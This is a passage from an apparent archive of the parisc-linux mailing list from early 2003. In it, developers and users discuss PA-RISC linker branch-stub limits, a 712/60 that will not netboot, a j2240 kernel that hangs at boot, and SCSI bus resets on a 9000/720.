   hppa-linux-ld   -r -o drivers/built-in.o drivers/pci/built-in.o drivers/paris
c/built-in.o drivers/serial/built-in.o drivers/parport/built-in.o drivers/base/b
uilt-in.o drivers/char/built-in.o drivers/block/built-in.o drivers/misc/built-in
.o drivers/net/built-in.o drivers/media/built-in.o drivers/scsi/built-in.o drive
rs/cdrom/built-in.o drivers/video/built-in.o drivers/usb/built-in.o drivers/inpu
t/built-in.o drivers/input/serio/built-in.o drivers/md/built-in.o drivers/eisa/b
uilt-in.o

        hppa-linux-ld  -T arch/parisc/vmlinux.lds.s arch/parisc/kernel/head.o   
init/built-in.o --start-group  usr/built-in.o arch/parisc/kernel/pdc_cons.o arch
/parisc/kernel/process.o  arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in
.o  arch/parisc/hpux/built-in.o  arch/parisc/math-emu/built-in.o arch/parisc/ker
nel/init_task.o  kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o
  security/built-in.o  crypto/built-in.o  lib/lib.a  arch/parisc/lib/lib.a `hppa
-linux-gcc -print-libgcc-file-name`  drivers/built-in.o  sound/built-in.o  arch/
parisc/oprofile/built-in.o  net/built-in.o --end-group  -o vmlinux

Now, which .text is limited to 240k?  loop.o, drivers/block/built-in.o,
drivers/built-in.o or vmlinux?

> When the total code bytes exceeds the above limit (PA 1.X), gcc switches
> to long indirect calls.  These are horribly inefficient.

Horribly inefficient in terms of being prefetchable?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiler switches
Date: Sun, 2 Feb 2003 17:02:18 -0500 (EST)
Lines: 53
Approved: news@gmane.org
Message-ID: <200302022202.h12M2InV026338@hiauly1.hia.nrc.ca>
References: <20030202210334.H21040@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622178 20979 80.91.229.3 (22 Nov 2014 02:09:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:38 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 15:02:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BB71484B
	for <parisc-linux@parisc-linux.org>; Sun,  2 Feb 2003 15:02:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h12M2Jot026340;
	Sun, 2 Feb 2003 17:02:19 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h12M2InV026338;
	Sun, 2 Feb 2003 17:02:18 -0500 (EST)
In-Reply-To: <20030202210334.H21040@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Feb 2, 2003 09:03:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17597

> I think they definitely should be implied by configuring for hppa-linux.
> I don't see any enthusiasm for allowing use of additional space registers
> for special purposes.

Ok, I will do some testing with fast indirect and no space registers.

> hmm.. part of the problem is the ld -r steps.  The current 2.5 build
> process does things like:

ld -r is generally bad news on the PA.  The compiler selects call
types based on the distance from the call to the beginning of the
current translation unit, or function if -ffunction-sections is being
used.  Relinking without using -ffunction-sections will change the
distance to the beginning of the code section for all calls.  That's
where the linker will insert a long call stub if necessary.  If linking
with ld -r creates an object with a text section larger than 240k, then
there are likely to be calls which can't reach a long branch stub for
calls external to the object.

I guess if the linker could create stubs when doing ld -r then this
problem could be avoided.  However, I think stubs are created only
when doing a final link.

Using -ffunction-sections may have some drawbacks.  Normally, related
functions are placed in the same object.  The linker does some grouping
of sections but I doubt it is optimal.  So, you might end up needing
stubs in some cases where you would want a simple {bl|b,l}.  You wouldn't
want this to happen when you have a tightly coupled pair of sibling
calls.

> Now, which .text is limited to 240k?  loop.o, drivers/block/built-in.o,
> drivers/built-in.o or vmlinux?

My understanding is that it's the size of any text sections involved
in a final link.  The linker intersperses stub groups between the text
sections that are used in any final link.  Thus, the final text section
for vmlinux can be much larger than 240k and stubs will be provided
for any branches exceeding 240k.  Thus, you shouldn't need -ffunction-sections
when compiling objects that will be prelinked using ld -r if the resultant
size of the text sections after prelinking is smaller than 240k.

> > When the total code bytes exceeds the above limit (PA 1.X), gcc switches
> > to long indirect calls.  These are horribly inefficient.
> 
> Horribly inefficient in terms of being prefetchable?

No, in terms of the number of instructions involved.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zoltan HERPAI <wigyori@2p.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60 won't boot, strange arp addresses
Date: Mon, 3 Feb 2003 02:45:32 +0100 (CET)
Lines: 54
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.50.0302030230530.31341-100000@fehercapa.kektintahal.pirospolip.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622178 20985 80.91.229.3 (22 Nov 2014 02:09:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 18:40:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 2p.hu (fehercapa.kektintahal.pirospolip.hu [195.70.35.189])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EE8C484B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Feb 2003 18:40:17 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by 2p.hu (Postfix) with ESMTP id 4731A97384
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 02:45:33 +0100 (CET)
Original-Received: from 2p.hu ([127.0.0.1])
 by localhost (fehercapa [127.0.0.1:10024]) (amavisd-new) with ESMTP
 id 31351-05 for <parisc-linux@lists.parisc-linux.org>;
 Mon,  3 Feb 2003 02:45:32 +0100 (CET)
Original-Received: from fehercapa (fehercapa [195.70.35.189])
	by 2p.hu (Postfix) with ESMTP id 05192972B3
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 02:45:32 +0100 (CET)
X-X-Sender: wigyori@fehercapa.kektintahal.pirospolip.hu
X-Virus-Scanned: by amavisd-new
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17598

hi all,

sorry if someone saw this email already on debian/hppa list, but i didn't
get any usable information there, and still stuck with the box.
additions are that i tried the AUI port too (after acquiring a transceiver
:) ) with the same results described lower, and tomorrow i'll get a scsi
cdrom to install a debian on it, just to see if the ethernet ports work at
all now.
thanks in advance if anybody has any idea.

-w-

---------- Original message ----------
Date: Tue, 28 Jan 2003 03:39:09 +0100 (CET)
From: Zoltan HERPAI <wigyori@2p.hu>
To: debian-hppa@lists.debian.org
Subject: 712/60 won't boot, strange arp addresses

hi,

i recently acquired a 712/60 workstation, trying to boot it from lan.
tcpdump looks like this (10.1.1.254 is the bootp server, 10.1.1.253 would
be the IP of the hp box):

03:29:20.253733 0.0.0.0.68 > 255.255.255.255.67:  xid:0xc1f968d1 ether
8:0:9:91:ed:a0 [|bootp]
03:29:20.259366 10.1.1.254.67 > 10.1.1.253.68:  xid:0xc1f968d1
Y:10.1.1.253 S:10.1.1.254 ether 8:0:9:91:ed:a0 sname "ironcurtai"[|bootp]
(DF)
03:29:22.253780 0.0.0.0.68 > 255.255.255.255.67:  xid:0xc1f968d1 secs:2
ether 8:0:9:91:ed:a0 [|bootp]
03:29:22.258825 10.1.1.254.67 > 10.1.1.253.68:  xid:0xc1f968d1 secs:2
Y:10.1.1.253 S:10.1.1.254 ether 8:0:9:91:ed:a0 sname "ironcurtai"[|bootp]
(DF)
03:29:26.253525 0.0.0.0.68 > 255.255.255.255.67:  xid:0xc1f968d1 secs:6
ether 8:0:9:91:ed:a0 [|bootp]
03:29:26.258648 10.1.1.254.67 > 10.1.1.253.68:  xid:0xc1f968d1 secs:6
Y:10.1.1.253 S:10.1.1.254 ether 8:0:9:91:ed:a0 sname "ironcurtai"[|bootp]
(DF)

after this, some strange arp lookups appear in the tcpdump output, like
this:
03:28:48.961476 arp who-has 10.1.1.253 (0:0:0:0:0:70) tell 10.1.1.254
03:28:49.961465 arp who-has 10.1.1.253 (0:0:0:0:0:70) tell 10.1.1.254

the arp address sometimes change, to 0:0:0:0:0:66, or :64. don't know what
this is, bootpd replies to the requests, but they never reach the 712. i
use the rj45 port, which worked when i bought it from a company. any
ideas? i can send the bootptab config on request (hoping the reply will
get to the recipient ;) )

tia,
-w-


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel compile
Date: Sun, 2 Feb 2003 21:02:47 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20030203020247.GB1046@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622179 20990 80.91.229.3 (22 Nov 2014 02:09:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 19:02:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9C52484B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Feb 2003 19:02:57 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h1322qT5020910
	for <parisc-linux@lists.parisc-linux.org>; Sun, 2 Feb 2003 21:02:52 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h1322lob020909
	for parisc-linux@lists.parisc-linux.org; Sun, 2 Feb 2003 21:02:47 -0500
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17599

I have been trying to get linux-2.4.20-pa23 to work with my j2240. For
awhile now I thought it was the console, but it isn't it is the kernel.
Here are the steps I took: 

Got the box running with debian kernel 2.4.17-32, 
updated to 2.4.18-32, and everything was working fine. 
I took the config from 2.4.18-32 and
used that as my starting point for 2.4.20-pa23 
ran make dep and make vmlinux; made and installed the modules

The box just stops at the branching message. Let me note the console is
set properly. I posted here before but think I was ignored becuase 
it was assumed I hadn't read the faq. Please I have read the faq, I just
need help I would love to get this box working with a recent kernel and 
not have to depend on the packaged debian kernels. 

Thanks. 

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 Increased knowledge will help you now.  Have mate's phone bugged.


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Vlad D. Markov" <markov@monmouth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI problem on 9000/720
Date: Sun, 2 Feb 2003 20:42:28 -0500
Lines: 122
Approved: news@gmane.org
Message-ID: <20030202204228.7cdc3b77.markov@monmouth.com>
References: <Pine.LNX.4.44.0301312101170.10291-100000@gfrw1044.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622179 20994 80.91.229.3 (22 Nov 2014 02:09:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 19:25:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.monmouth.com (smtp.monmouth.com [209.191.58.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F27E484B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Feb 2003 19:25:17 -0700 (MST)
Original-Received: from happy.markov.net (bg-tc-ppp421.monmouth.com [209.191.61.170])
	by smtp.monmouth.com (8.12.5/8.12.5) with ESMTP id h132P6Zi022095
	for <parisc-linux@lists.parisc-linux.org>; Sun, 2 Feb 2003 21:25:14 -0500 (EST)
Original-Received: (from markov@localhost)
	by happy.markov.net (8.11.6/8.11.6) id h131gSR02895;
	Sun, 2 Feb 2003 20:42:29 -0500 (EST)
In-Reply-To: <Pine.LNX.4.44.0301312101170.10291-100000@gfrw1044.bocc.de>
X-Mailer: Sylpheed version 0.8.9 (GTK+ 1.2.10; i386--netbsdelf)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17600

I got this same error when I had bad memory on my 735/99.

It was preceded by the kernel panicking during a large tar job. Then on subsequent boots, I'd get what you describe here.

I repaired the damage by booting off an install CD, going into the shell, and fscking the disk(s). This would not occur again until the next time I tried a large tar operation.

I had no idea that I had bad memory until I sent a copy of the messages from the panic to this list. Even then I found it hard to believe because everything ran so well except the tarring. 
On Fri, 31 Jan 2003 21:38:59 +0100 (CET)
Jochen Friedrich <jochen@scram.de> wrote:

> Hi,
> 
> today, i noticed the following message in my dmesg (boot info retained):
> 
> Linux version 2.4.20-pa18 (root@ebru) (gcc version 3.0.4) #7 Wed Jan 1
> 18:09:15
> CET 2003
> FP[0] enabled: Rev 3 Model 0
> The 32-bit Kernel has started...
> Determining PDC firmware type: Snake.
> model 00002000 00000481 00000000 00000000 052e3468 000011f4 00000004
> 0000000d 00
> 000000
> vers  00000003
> model 9000/720
> [...]
> 53c700: consistent memory allocation failed
> 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
> scsi0: 53c700 rev 0
> scsi0 : LASI SCSI 53c700
>   Vendor: TEAC      Model: FC-1     HF   07  Rev: RV A
>   Type:   Direct-Access                      ANSI SCSI revision: 01 CCS
>   Vendor: IBM       Model: DCAS-34330        Rev: S61A
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Attached scsi removable disk sda at scsi0, channel 0, id 3, lun 0
> Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
> sda : READ CAPACITY failed.
> sda : status = 1, message = 00, host = 0, driver = 08
> Current sd00:00: sns = 70  2
> ASC= 4 ASCQ= 0
> Raw sense data:0x70 0x00 0x02 0x00 0x00 0x00 0x00 0x08 0x00 0x00 0x00 0x00
> 0x04
> 0x00 0x00 0x00
> sda : block size assumed to be 512 bytes, disk size 1GB.
> Partition check:
>  sda: I/O error: dev 08:00, sector 0
>  I/O error: dev 08:00, sector 0
>  unable to read partition table
> scsi0: (6:0) Enabling Tag Command Queuing
> SCSI device sdb: 8467200 512-byte hdwr sectors (4335 MB)
>  sdb: sdb1 sdb2 sdb3 sdb4
> [...] [sda is floppy, sdb is hard disk]
> scsi0 (6:0) Target is suffering from tag starvation.
> scsi0: (6:0) phase mismatch at 0228, phase IO BSY REQ DATA_IN
> scsi0: Bus Reset detected, executing command 1034c800, slot 10361390, dsp
> 003602
> 28[0228]
>  failing command because of reset, slot 10360520, cmnd 1034b600
>  failing command because of reset, slot 10360654, cmnd 1034bc00
>  failing command because of reset, slot 10360788, cmnd 1034a400
>  failing command because of reset, slot 103608bc, cmnd 1034ca00
>  failing command because of reset, slot 10360b24, cmnd 1034ce00
>  failing command because of reset, slot 10360c58, cmnd 1034b000
>  failing command because of reset, slot 10360d8c, cmnd 1034be00
>  failing command because of reset, slot 10360ec0, cmnd 1034cc00
>  failing command because of reset, slot 10360ff4, cmnd 1034ba00
>  failing command because of reset, slot 10361128, cmnd 1034a000
>  failing command because of reset, slot 1036125c, cmnd 1034b800
>  failing command because of reset, slot 10361390, cmnd 1034c800
>  failing command because of reset, slot 103614c4, cmnd 1034a200
>  failing command because of reset, slot 103615f8, cmnd 1034b400
>  failing command because of reset, slot 1036172c, cmnd 1034c600
> scsi0 (6:0) broken device is looping in contingent allegiance: ignoring
> scsi0 (6:0) New error handler wants to abort command
>         0x2a 00 00 41 7b e7 00 00 08 00
> scsi0 (6:0) New error handler wants to abort command
>         0x28 00 00 6e 89 4f 00 00 08 00
> scsi0 (6:0) New error handler wants to abort command
>         0x2a 00 00 15 7e 1f 00 00 08 00
> scsi0 (6:0) New error handler wants to abort command
>         0x2a 00 00 3d 7c 4f 00 00 08 00
> scsi0 (6:0) New error handler wants to abort command
>         0x2a 00 00 0d 7c a7 00 00 08 00
> scsi0 (6:0) New error handler wants to abort command
>         0x2a 00 00 1d 7b cf 00 00 08 00
> scsi0 (6:0) New error handler wants device reset
>         0x2a 00 00 41 7b e7 00 00 08 00
> scsi0 (6:0) New error handler wants BUS reset, cmd 1034a400
>         0x2a 00 00 41 7b e7 00 00 08 00
> scsi0: Bus Reset detected, executing command 00000000, slot 00000000, dsp
> 003604
> a8[04a8]
>  failing command because of reset, slot 10360ff4, cmnd 1034be00
>  failing command because of reset, slot 10361128, cmnd 1034b000
>  failing command because of reset, slot 1036125c, cmnd 1034ce00
>  failing command because of reset, slot 10361390, cmnd 1034ca00
>  failing command because of reset, slot 103614c4, cmnd 1034a400
>  failing command because of reset, slot 103615f8, cmnd 1034bc00
> SCSI disk error : host 0 channel 0 id 6 lun 0 return code = 8000002
> Current sd08:13: sns = 70  0
> Raw sense data:0x70 0x00 0x00 0x00 0x00 0x00 0x00 0x18 0x00 0x00 0x00 0x00
> 0x00
> 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xff 0xff 0xff 0xff
> 0x00
> 0x00 0x00 0x00
>  I/O error: dev 08:13, sector 3145816
> 
> It's the phase mismatch stuff which is scaring me quite a bit ;-). It
> could have been a defective sector which has been remapped (a disk scan
> didn't show any problem) as a result of the a error, but then i would have
> expected a simple IO error without that bus reset just before the problem.
> 
> Weird...
> 
> --jochen
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Sun, 2 Feb 2003 21:11:22 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030203041122.GB29454@dsl2.external.hp.com>
References: <20030203020247.GB1046@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622179 21003 80.91.229.3 (22 Nov 2014 02:09:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Aaron St. Pierre" <asp@ungod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 21:11:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CD5AB484B; Sun,  2 Feb 2003 21:11:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030203020247.GB1046@hadron>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17601

On Sun, Feb 02, 2003 at 09:02:47PM -0500, Aaron St. Pierre wrote:
> I took the config from 2.4.18-32
> and used that as my starting point for 2.4.20-pa23 

Can you:
# mv .config ../config-orig
# yes "" | make oldconfig
 (or something like that)

The default kernel should work on j2240.

grant

ps. FAQ has a link to "how to report kernel bugs"
	http://www.parisc-linux.org/faq/index.html#kernelbugreport


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Mon, 3 Feb 2003 00:33:36 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <20030203053336.GC1046@hadron>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622180 21263 80.91.229.3 (22 Nov 2014 02:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 22:33:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20ACE4847
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Feb 2003 22:33:46 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h135XgT5021583;
	Mon, 3 Feb 2003 00:33:43 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h135XafL021582;
	Mon, 3 Feb 2003 00:33:36 -0500
Content-Disposition: inline
In-Reply-To: <20030203041122.GB29454@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17602

First, thanks for the response, I really appreciate it. 

I setup a page with all of the information from the "basics" section
of the faq. That page is : http://hadron.dyndns.org/parisc/

Grant, I did as you said, and the same thing happened. What disturbs me
is when it stopped at the brancing message and I waited about 15 minutes
then pressed the toc button there was still nothing in the pim ( I
cleared it prior to boot) I hope this doesn't mean the kernel isn't even
loading and it has something to do with palo. 

Maybe I am once again making this too complicated. If I left anything 
out let me know and I will add it. 

Thanks again for your help. :) 
In another life Grant Grundler wrote:

> On Sun, Feb 02, 2003 at 09:02:47PM -0500, Aaron St. Pierre wrote:
> > I took the config from 2.4.18-32
> > and used that as my starting point for 2.4.20-pa23 
> 
> Can you:
> # mv .config ../config-orig
> # yes "" | make oldconfig
>  (or something like that)
> 
> The default kernel should work on j2240.
> 
> grant
> 
> ps. FAQ has a link to "how to report kernel bugs"
> 	http://www.parisc-linux.org/faq/index.html#kernelbugreport

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 A day without sunshine is like a day without orange juice.


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
